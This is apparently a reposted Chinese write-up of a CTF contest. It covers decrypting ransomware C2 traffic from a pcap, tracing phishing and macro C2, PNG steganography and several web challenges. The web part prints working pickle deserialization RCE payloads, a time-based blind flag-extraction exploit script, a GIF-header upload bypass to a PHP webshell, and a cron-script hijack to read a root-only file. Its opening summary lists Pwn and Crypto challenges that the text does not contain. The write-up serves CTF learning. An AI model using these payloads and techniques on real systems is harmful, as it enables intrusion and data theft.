首届云枢杯CTF&HW挑战赛wp

admin 2026-04-22 04:56:37 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档是首届云枢杯CTF&HW挑战赛的完整解题报告,详细记录了Pwn类4道题目(Canary、syscall、ret2text_pro、heap)和Crypto类1道题目(戈黛丝的秘密)的漏洞分析与利用过程。Pwn题目涉及栈溢出、Canary泄露、ROP链构造、堆利用等二进制漏洞技术,Crypto题目采用多表替换、栅栏密码、仿射密码、摩斯电码等多层加密。文档提供了完整的攻击思路、代码实现和flag获取结果,具有较高的技术参考价值。 综合评分: 85 文章分类: CTF,WEB安全,二进制安全,漏洞分析,红队


413%20开始用蚁剑连 /ctf/upload/index.php

741%20POST%20参数%20vfaa3464cefd4b%20的值解%20base64%20得到:
52406E73306D776172335F5631727535
这是%20hex,转%20ASCII%20就是:
R@ns0mwar3_V1ru5

另一个参数%20e791d38eb73551%20解出来是目标文件路径:C:\Software\Phpstudy_pro\WWW\ctf\upload\s3creT.txt
也就是攻击者往服务器写了个密钥文件。

上传后门脚本798

传了%20server.py,解%20base64%20后是完整的%20Python%20源码,逻辑是:

读取%20s3creT.txt%20的内容做%20MD5%20→%20作为%20RC4%20密钥
监听%20192.168.31.42:9999
收到数据先%20t1%20解%20XOR(key%20基于当前分钟时间戳),再%20RC4%20解密,按%20JSON%20{"opcode":"shell","msg":"命令"}%20执行

856%20Webshell%20执行了 python%20server.py,后门跑起来了。

从%20945%20开始出现%20TCP%209999%20端口的非%20HTTP%20加密流量,就是%20C2%20通信。
解密:
MD5("R@ns0mwar3_V1ru5")%20=%20ef578a404d5516ce43ea5da4e00a1601
取数据包时间戳%20floor%20到分钟,构造%204%20字节%20XOR%20key
先%20t1%20XOR,再%20RC4%20解密

流程就是

945%20(攻方发):{"opcode": "shell", "msg": "dir"}
946%20(服务器回):目录列表
964%20:{"opcode": "shell", "msg": "type%20flag.txt"}
965%20:NoneResult(没找到)
1036%20:{"opcode": "shell", "msg": "type%20C:\\Software\\Phpstudy_pro\\WWW\\ctf\\flag.txt"}
1037%20(服务器回):flag

加密了解密就行

exp.py

import%20hashlib
import%20base64
import%20re
from%20Crypto.Cipher%20import%20ARC4
from%20scapy.all%20import%20rdpcap,%20TCP,%20IP

PCAP_FILE%20= "lesuo.pcapng"
KEY_RAW%20= "R@ns0mwar3_V1ru5"
C2_PORT%20=%209999

rc4_key%20=%20hashlib.md5(KEY_RAW.encode()).hexdigest()

def%20t1_xor(data_str,%20ts):
 %20 %20ts_min%20=%20(int(ts)%20//%2060)%20*%2060
 %20 %20k%20=%20[int(x,%2016) for x in re.findall(r'.{2}',%20hex(ts_min)[2:].zfill(8))]
 %20  return''.join(chr(ord(c)%20^%20k[i%20%%204]) for i,%20c in enumerate(data_str))

def%20decrypt(raw,%20ts):
 %20 %20try:
 %20 %20 %20 %20s%20=%20raw.decode('utf-8',%20errors='replace')
 %20 %20 %20 %20s%20=%20t1_xor(s,%20ts)
 %20 %20 %20 %20data%20=%20base64.b64decode(s)
 %20 %20 %20  return ARC4.new(rc4_key.encode()).decrypt(data).decode('utf-8',%20errors='replace')
 %20 %20except:
 %20 %20 %20  return None

packets%20=%20rdpcap(PCAP_FILE)

for i,%20pkt in enumerate(packets):
 %20  if not%20(pkt.haslayer(TCP)%20and%20pkt.haslayer(IP)):
 %20 %20 %20  continue
 %20 %20tcp%20=%20pkt[TCP]
 %20  if C2_PORT%20not in (tcp.sport,%20tcp.dport):
 %20 %20 %20  continue
 %20 %20payload%20=%20bytes(tcp.payload)
 %20  if not%20payload:
 %20 %20 %20  continue
 %20 %20result%20=%20decrypt(payload, float(pkt.time))
 %20  if result:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20direction%20=&nbsp;"->"if&nbsp;tcp.dport%20==%20C2_PORT&nbsp;else"<-"
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;print(f"[{i+1}]%20{direction}%20{result.strip()[:300]}")

flag{3741b40e-3185-4a9a-80a6-83403e4942fc}
钓鱼载荷与%20C2%20追踪【简单】

看包可以发现第一个base64编码的flag

第一段

ZmxhZ3todzIwMjZf
第二段和第三段
ip.addr%20==%20185.244.25.108%20and%20ip.addr%20==%2010.11.19.101

可以看到第二段和第三段

拼接就行

ZmxhZ3todzIwMjZfODlhN19mZDNjXw==
NzhiOX0=

flag{hw2026_89a7_fd3c_78b9}
宏病毒与%20C2%20通信【中等】

还是3段flag

DNS%20出现可疑十六进制子域名。
假%20CDN%20域名%20update.microsoft-cdn-services.com下发内容。
后续%20SSLoad%20/%20C2%20持续通信。
flag1

看DNS%20第四个包可以发现

flag{M3m0ry_
flag2

37包可以发现flag2

R34d_By_P4ss_
flag3

第五个包%20token后面就是

MHg3RjJBfQ==

拼接

flag{M3m0ry_R34d_By_P4ss_0x7F2A}
什么是快乐星球

先反色%20得到第一段flag

flag{3a885a8b447

另一个是IDAT%20隐写

看%20chunk

PNG%20的%20chunk%20结构很固定:

[length(4)][type(4)][data(length)][crc(4)]

1.py

import%20struct

with%20open("flag.png",&nbsp;"rb") as f:
&nbsp; &nbsp; data = f.read()

o = 8
idx = 0
while&nbsp;o < len(data):
&nbsp; &nbsp; length = struct.unpack(">I", data[o:o + 4])[0]
&nbsp; &nbsp; ctype = data[o + 4:o + 8]
&nbsp; &nbsp;&nbsp;print(idx, hex(o), ctype.decode("latin1"), length)
&nbsp; &nbsp; o2 = o + 12 + length
&nbsp; &nbsp;&nbsp;if&nbsp;o2 > len(data):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("chunk 越界了")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; o = o2
&nbsp; &nbsp; idx += 1

flag{3a885a8b4479db9c15ede424b93c400e}
Web python!!!反序列化【困难】

python反序列化%20盲注

测试命令执行

构造一个的payload,执行sleep%205看响应时间:

import%20base64

payload%20=&nbsp;"""cos
system
(S'sleep%205'
tR."""

encoded%20=%20base64.b64encode(payload.encode()).decode()
print(encoded)
得到:Y29zCnN5c3RlbQooUydzbGVlcCA1Jwp0Ui4=

请求测试

存在RCE

payload1%20=&nbsp;'cos\nsystem\n(S\'sh%20-c&nbsp;"[%20-f%20/flag%20]%20&&%20sleep%203"\'\ntR.'
payload2%20=&nbsp;'cos\nsystem\n(S\'sh%20-c&nbsp;"[%20-f%20/flag.txt%20]%20&&%20sleep%203"\'\ntR.'

得到

Y29zCnN5c3RlbQooUydzaCAtYyAiWyAtZiAvZmxhZyBdICYmIHNsZWVwIDMiJwp0Ui4=
Y29zCnN5c3RlbQooUydzaCAtYyAiWyAtZiAvZmxhZy50eHQgXSAmJiBzbGVlcCAzIicKdFIu

测试%20/flag%20是否存在

存在

后面测试需要用时间盲注提取flag逐字符爆破

exp.py

import%20base64
import%20string
import%20time

import%20requests

URL%20=&nbsp;"https://c56-t785-chal3.challenges.wdsec.com.cn/"

def%20make_payload(cmd:%20str)%20->%20str:
&nbsp;%20&nbsp;%20raw%20=%20f"cos\nsystem\n(S'{cmd}'\ntR.".encode()
&nbsp;%20&nbsp;&nbsp;return&nbsp;base64.b64encode(raw).decode()

def%20request_time(cmd:%20str)%20->&nbsp;float:
&nbsp;%20&nbsp;%20data%20=%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;"action":&nbsp;"check_book",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;"serialized_book":%20make_payload(cmd),
&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20t0%20=%20time.time()
&nbsp;%20&nbsp;%20try:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20requests.post(URL,%20data=data,%20timeout=15)
&nbsp;%20&nbsp;%20except:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20pass
&nbsp;%20&nbsp;&nbsp;return&nbsp;time.time()%20-%20t0

def%20get_char_grep(pos:%20int,%20charset:%20str,%20threshold:&nbsp;float)%20->%20str:
&nbsp;%20&nbsp;&nbsp;"""Use%20grep%20with%20regex%20to%20match%20character%20at%20position."""
&nbsp;%20&nbsp;&nbsp;for&nbsp;ch&nbsp;in&nbsp;charset:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;ch&nbsp;in&nbsp;r'\.[]{}()*+?|^$':
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20escaped%20=&nbsp;'\\'&nbsp;+%20ch
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;else:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20escaped%20=%20ch

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20regex%20=%20f"^.{{{pos-1}}}{escaped}"
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20cmd%20=%20f'grep%20-qE%20"{regex}"%20/flag%20&&%20sleep%201.5'

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20dt%20=%20request_time(cmd)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;dt%20>%20threshold:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;ch
&nbsp;%20&nbsp;&nbsp;return"?"

def%20main()%20->%20None:
&nbsp;%20&nbsp;%20dt%20=%20request_time('grep%20-q%20.%20/flag%20&&%20sleep%201.5')
&nbsp;%20&nbsp;&nbsp;if&nbsp;dt%20<%201.0:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;print("/flag%20not%20readable")
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return

&nbsp;%20&nbsp;&nbsp;print("Flag%20file%20confirmed")

&nbsp;%20&nbsp;%20samples%20=%20[request_time("true")&nbsp;for&nbsp;_&nbsp;in&nbsp;range(3)]
&nbsp;%20&nbsp;%20threshold%20=%20sum(samples)%20/%20len(samples)%20+%200.8
&nbsp;%20&nbsp;&nbsp;print(f"threshold={threshold:.3f}s")

&nbsp;%20&nbsp;&nbsp;for&nbsp;n&nbsp;in&nbsp;range(1,%20100):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20cmd%20=%20f'grep%20-qE%20"^.{{{n}}}$"%20/flag%20&&%20sleep%201.5'
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20dt%20=%20request_time(cmd)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;dt%20>%20threshold:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20length%20=%20n
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;break
&nbsp;%20&nbsp;&nbsp;else:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;print("Length%20not%20found")
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return

&nbsp;%20&nbsp;&nbsp;print(f"length={length}")

&nbsp;%20&nbsp;%20charset%20=%20string.ascii_letters%20+%20string.digits%20+&nbsp;"{}_-."
&nbsp;%20&nbsp;%20out%20=%20[]
&nbsp;%20&nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(1,%20length%20+%201):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20c%20=%20get_char_grep(i,%20charset,%20threshold)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20out.append(c)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;print(f"{i:02d}:%20{c}%20&nbsp;%20&nbsp;partial={''.join(out)}")

&nbsp;%20&nbsp;&nbsp;print("\nFLAG:",&nbsp;"".join(out))

if&nbsp;__name__%20==&nbsp;"__main__":
&nbsp;%20&nbsp;%20main()

flag{161fa496-c722-42e1-aefc-d696dd31ea9d}
UPload_is_Funny&Easy

直接访问什么也没有

直接目录扫描

可以发现是文件上传题目

先直接试上传,发现普通 txt 和 php 都不行,报错是只允许 JPG、PNG、GIF

但是这里的校验不是看后缀,而是看文件内容是不是图片,只有文件头的校验

只有 GIF89a 头的文件,可以成功上传,可以看到返回路径

在上传一次抓包%20改后缀为php

上传成功

访问

https://c56-t785-chal37.challenges.wdsec.com.cn/uploads/69e312a88a911_1.php?x=id

可以命令执行了

发现flag看权限:

?x=ls%20-l%20/flag%20/fllllag.sh

/flag%20只有%20root%20能读,当前%20WebShell%20是%20www-data,直接%20cat%20/flag%20读不到。

去看%20/fllllag.sh

?x=cat%20/fllllag.sh
内容
#!/bin/bash
rm%20-rf%20/var/www/html/uploads/*.php

这个点就很明显了。

这个脚本权限是 777,说明谁都能改。

而它明显不是手工执行用的,更像是%20root%20的定时任务,定期清理上传目录里的%20PHP%20文件。

那就不用再找别的提权点了,直接劫持这个脚本。

把它改成:

#!/bin/bash
cp%20/flag%20/var/www/html/uploads/flag.txt
chmod%20644%20/var/www/html/uploads/flag.txt

命令

https://c56-t785-chal37.challenges.wdsec.com.cn/uploads/69e31609b208c_1.php?x=printf%20%27#!/bin/bash%5Cncp%20/flag%20/var/www/html/uploads/flag.txt%5Cnchmod%20644%20/var/www/html/uploads/flag.txt%5Cn%27%20%3E%20/fllllag.sh

改完以后等计划任务下一次执行。

然后访问:

/uploads/flag.txt

就可以解出flag了

flag{linux_is_very_funny}
hard审计PHP

扫描目录可以发现%20源码泄露

主要看

show.php,class.php,upload.php

审计show.php

show.php主要逻辑是:
禁止%20http%20和%20ftp%20开头
只允许路径后缀是%20jpg/jpeg/gif/png
file_exists($_GET['path'])`
file_get_contents($_GET['path'])

漏洞是%20file_exists()。
如果传入%20phar://...,会触发%20phar%20metadata%20反序列化。
因为它只做了“后缀判断”,所以可以构造:
phar://./upload/xxx.png/a.jpg
既满足后缀,又能触发反序列化。

审计class.php

扫描就行

flag{Simplified_MI_Attack}

总结

这个比赛难评,理论题是直接没有了, 我是做了30几题目直接就没有了,后门直接就宣布理论题不计入成绩,而且18:00比完赛18:20交wp,额,很无语,而且容器题目只要答对就无法在开启,所以你需要边做wp边做题目,体验感非常不好,第一次比赛所以非常多人都进不去,后面就延期了,第一次比赛的人挺多的,估计有七八百人结果出来这,所以第二次比赛,人数非常少,高校+社会赛道估计就快300人左右,题目难度,不难,出的题目非常喜欢flag分成好多段。看这个也是第一届,就不多说什么了


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小叶Sec 叁玖owo 叁玖owo《首届云枢杯CTF&HW挑战赛wp》

评论:0   参与:  0